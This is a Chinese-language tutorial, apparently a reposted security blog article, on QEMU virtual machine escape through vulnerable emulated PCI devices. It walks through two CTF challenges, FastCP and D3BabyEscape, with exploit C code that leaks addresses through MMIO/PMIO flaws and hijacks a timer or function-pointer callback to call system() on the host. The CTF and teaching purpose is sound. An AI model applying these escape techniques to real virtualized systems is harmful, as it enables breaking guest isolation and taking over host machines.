qemu逃逸入门及例题复现
字数 1072 2025-08-20 18:17:47

QEMU逃逸入门及例题复现教学文档

1. QEMU逃逸基础概念

1.1 什么是QEMU逃逸

QEMU逃逸是指从虚拟机内部突破虚拟化隔离,获取宿主机权限的攻击方式。攻击者通过利用QEMU模拟设备中的漏洞,实现从虚拟机内部攻击QEMU进程本身。

1.2 QEMU逃逸的本质

  • 攻击目标是QEMU这个ELF可执行文件本身
  • QEMU作为软件实现的虚拟化方案,包含各种可被利用的函数
  • 通过泄露信息和控制流劫持,最终目标是获取宿主机shell

1.3 常用指令

lspci  # 查看PCI设备信息
ls /sys/devices/pci0000\:00/0000\:00\:04.0/  # 查看设备资源

# 监控QEMU
-monitor telnet:127.0.0.1:4444,server,nowait
nc 127.0.0.1 4444  # 连接监控接口
info pci  # 查看PCI设备详细信息

2. 环境准备与调试方法

2.1 准备EXP环境

mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz 
cpio -idmv < ./initramfs-busybox-x64.cpio

mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static 
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..

2.2 调试方法

  1. 直接调试QEMU进程:
gdb qemu
set args <启动参数>
  1. 附加到运行中的QEMU进程:
./launch.sh
ps -ef | grep qemu  # 获取进程ID
gdb -p <进程号>
  1. 在QEMU源码中设置断点:
b fastcp_mmio_write
c

3. 关键知识点

3.1 地址空间转换

  • MMIO (Memory Mapped I/O): 通过内存映射方式访问设备寄存器
  • PMIO (Port Mapped I/O): 通过特定端口访问设备寄存器

3.2 地址转换函数

// 用户虚拟地址到物理地址转换
uint64_t gva_to_gpa(void* addr) {
    uint64_t gfn = gva_to_gfn(addr);  // 获取页帧号
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

3.3 常见漏洞类型

  1. 越界读写
  2. 缺少边界检查
  3. 回调函数控制

4. FastCP例题分析

4.1 漏洞分析

  • 漏洞位于fastcp_mmio_write函数
  • 通过控制timer结构体实现任意函数执行
  • 资源类型为MMIO (resource0)

4.2 利用步骤

  1. 泄露信息:

    • 利用越界读取泄露timer结构体
    • 计算PIE基址和system函数地址
  2. 构造恶意timer:

    struct QEMUTimer timer;
    timer.expire_time = 0xffffffffffffffff;
    timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
    timer.cb = system_plt;  // 目标函数
    timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;  // 参数
    strcpy(&timer.shell, "echo flag{a_test_flag}");  // 命令
    
  3. 覆盖timer结构体:

    • 使用fastcp_do_movebuffer覆盖原timer
    • 触发回调执行

4.3 完整EXP

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>

// 地址转换和MMIO操作函数...

int main(int argc, char* argv[]) {
    // 初始化MMIO
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    
    // 准备用户缓冲区
    userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    mlock(userbuf, 0x10000);
    phy_userbuf = gva_to_gpa(userbuf);
    
    // 泄露timer结构体获取基址
    fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
    fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
    fastcp_do_readfrombuffer(phy_userbuf, 0x30);
    
    uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
    uint64_t pie_base = leak_timer - 0x4dce80;
    uint64_t system_plt = pie_base + 0x2C2180;
    uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
    
    // 构造并覆盖timer
    struct QEMUTimer timer;
    memset(&timer, 0, sizeof(timer));
    timer.expire_time = 0xffffffffffffffff;
    timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
    timer.cb = system_plt;
    timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;
    strcpy(&timer.shell, "echo flag{a_test_flag}");
    
    memcpy(userbuf + 0x1000, &timer, sizeof(timer));
    fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, 
                        gva_to_gpa(userbuf + 0x1000) - 0x1000, 
                        0x1000 + sizeof(timer));
    fastcp_do_cmd(1);  // 触发执行
    
    return 0;
}

5. D3BabyEscape例题分析

5.1 漏洞分析

  • 设备名: l0dev
  • 同时存在MMIO和PMIO接口
  • 关键漏洞:
    • MMIO: 可控制offset实现任意读
    • PMIO: magic=1时可任意写
    • 存在回调函数可被控制

5.2 利用步骤

  1. 通过MMIO泄露libc地址
  2. 计算system函数地址
  3. 设置magic标志
  4. 覆盖回调函数为system
  5. 触发执行

5.3 完整EXP

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>

// MMIO/PMIO操作函数...

int main() {
    // 初始化MMIO
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    
    // 设置IO权限
    if(iopl(3) == -1) {
        perror("iopl");
        exit(EXIT_FAILURE);
    }
    
    // 泄露libc地址
    mmio_write(128, 0x100);
    size_t libc_addr = mmio_read(4);
    libc_addr = libc_addr - 0x460a0;  // srandom偏移
    size_t system_addr = libc_addr + 0x50d70;
    
    // 设置magic并覆盖函数指针
    pmio_write(0, 666);  // 设置magic
    pmio_read(0);
    pmio_write(20, system_addr);  // 覆盖rand_r为system
    
    // 触发执行
    mmio_write(64, 0x6873);  // "sh"的ASCII
    
    return 0;
}

6. 总结与防御

6.1 常见攻击面

  1. MMIO/PMIO处理逻辑漏洞
  2. 回调函数控制
  3. 内存管理错误

6.2 防御建议

  1. 严格检查所有输入边界
  2. 限制回调函数的权限
  3. 启用QEMU的安全特性(如SMEP/SMAP)
  4. 定期更新QEMU版本

6.3 学习资源

  1. QEMU官方文档
  2. 虚拟化安全研究论文
  3. CTF比赛中的QEMU逃逸题目

通过本教程,你应该已经掌握了QEMU逃逸的基本原理和实战技巧。建议在实际环境中练习这两个例题,加深对漏洞利用过程的理解。

QEMU逃逸入门及例题复现教学文档 1. QEMU逃逸基础概念 1.1 什么是QEMU逃逸 QEMU逃逸是指从虚拟机内部突破虚拟化隔离,获取宿主机权限的攻击方式。攻击者通过利用QEMU模拟设备中的漏洞,实现从虚拟机内部攻击QEMU进程本身。 1.2 QEMU逃逸的本质 攻击目标是QEMU这个ELF可执行文件本身 QEMU作为软件实现的虚拟化方案,包含各种可被利用的函数 通过泄露信息和控制流劫持,最终目标是获取宿主机shell 1.3 常用指令 2. 环境准备与调试方法 2.1 准备EXP环境 2.2 调试方法 直接调试QEMU进程 : 附加到运行中的QEMU进程 : 在QEMU源码中设置断点 : 3. 关键知识点 3.1 地址空间转换 MMIO (Memory Mapped I/O) : 通过内存映射方式访问设备寄存器 PMIO (Port Mapped I/O) : 通过特定端口访问设备寄存器 3.2 地址转换函数 3.3 常见漏洞类型 越界读写 缺少边界检查 回调函数控制 4. FastCP例题分析 4.1 漏洞分析 漏洞位于 fastcp_mmio_write 函数 通过控制timer结构体实现任意函数执行 资源类型为MMIO (resource0) 4.2 利用步骤 泄露信息 : 利用越界读取泄露timer结构体 计算PIE基址和system函数地址 构造恶意timer : 覆盖timer结构体 : 使用 fastcp_do_movebuffer 覆盖原timer 触发回调执行 4.3 完整EXP 5. D3BabyEscape例题分析 5.1 漏洞分析 设备名: l0dev 同时存在MMIO和PMIO接口 关键漏洞: MMIO: 可控制offset实现任意读 PMIO: magic=1时可任意写 存在回调函数可被控制 5.2 利用步骤 通过MMIO泄露libc地址 计算system函数地址 设置magic标志 覆盖回调函数为system 触发执行 5.3 完整EXP 6. 总结与防御 6.1 常见攻击面 MMIO/PMIO处理逻辑漏洞 回调函数控制 内存管理错误 6.2 防御建议 严格检查所有输入边界 限制回调函数的权限 启用QEMU的安全特性(如SMEP/SMAP) 定期更新QEMU版本 6.3 学习资源 QEMU官方文档 虚拟化安全研究论文 CTF比赛中的QEMU逃逸题目 通过本教程,你应该已经掌握了QEMU逃逸的基本原理和实战技巧。建议在实际环境中练习这两个例题,加深对漏洞利用过程的理解。